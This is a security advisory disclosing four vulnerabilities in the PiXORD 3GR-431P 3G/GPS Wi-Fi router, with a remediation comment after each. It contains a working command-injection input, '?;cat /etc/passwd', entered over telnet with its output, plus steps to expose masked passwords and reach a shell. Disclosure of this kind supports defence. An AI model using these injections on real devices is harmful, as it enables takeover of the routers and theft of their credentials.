*Device Info *
Model Name :3GR-431P
Software Version :RTA-A001_02
Wireless Driver Version :2.6.0.0
PiXORD 3GR-431P 3G Wi-Fi Router is a 3G + GPS + 802.11n (2T2R) wireless
router. It supports Internet access via 3G and receives position
information from GPS. 3GR-431P also supports two Ethernet ports for LAN
connectivity and 802.11n Wi-Fi Access Point for WLAN connectivity.
It is available to install the 3GR-431P on the transportation. The
passengers can use the laptop or smart phone via Wi-Fi to browse the
Internet on the go. The Ethernet port also can connect IP camera to provide
the real time monitoring.
Vulnerability Impact: Easy and full device compromise. Access to configured
keys, passwords, pass-phrases, accounts, etc. Ability to monitor the user /
vehicle via camera / connected devices.
*Multiple Security Vulnerabilities *
*1. OS command injection *
$ telnet 192.168.1.10
Trying 192.168.1.10...
Connected to 192.168.1.10.

As seen above, only few specific, functional options are available for
device management.
However, we can bypass this and dump hashes easily.
> ?;cat /etc/passwd
sh: ?: not found
admin:<password1>:0:0:Adminstrator:/:/bin/sh
support:<password2>:0:0:Adminstrator:/:/bin/sh
user:<password3>:0:0:Adminstrator:/:/bin/sh
> exit
Note that this is also applicable when a non-admin ‘user’ / ‘support’ logs
in over the Telnet.
The web application lacks strict input validation and hence vulnerable to
OS command injection attack.
*2. Configuration not secured properly / AuthZ issues *
The device has three users - admin, support, user.
Apparently, there is no separation of privileges between these 3 users,
when accessing over HTTP(S). All options are available to all three then.
This allows 'user' /'support' to access device configuration file -
RT2880_Settings.dat. Configuration backup contains b64-encoded login
passwords + clear-text WPA keys + other sensitive information.
.. …
*Sensitive information in configuration file - *
*more RT2880_Settings.dat *

Also, as observed in point 1 above, all the users have a UID 0, i.e. root
level privileges to the device:
admin:<password1>:0:0:Adminstrator:/:/bin/sh
support:<password2>:0:0:Adminstrator:/:/bin/sh
user:<password3>:0:0:Adminstrator:/:/bin/sh
The application should ideally provide specific privileges to different
users, and enforce strict access control.
*3. Application does not secure configured passwords (HTTPS) *
Masked password(s) can be retrieved via frame source (inspect element) and
/ or intercepting request via a proxy.
The application should mask/censure (*****) the passwords, keys and any
other crucial pieces of configuration and must not pass the values in
clear-text.
*4. Program / Scripts running in an insecure manner - leaking clear-text
passwords in process information *
After logging in to the device over Telnet, we can drop in to a shell via
OS command injection attack described in point 1.

sh: ?: not found

Checking running processes reveal a system program *inadyn*, which
apparently is a service for ddns connectivity, leaking valid username and
password in clear-text.

The programs should be run securely without passing cli arguments and
parameter values in clear-text.
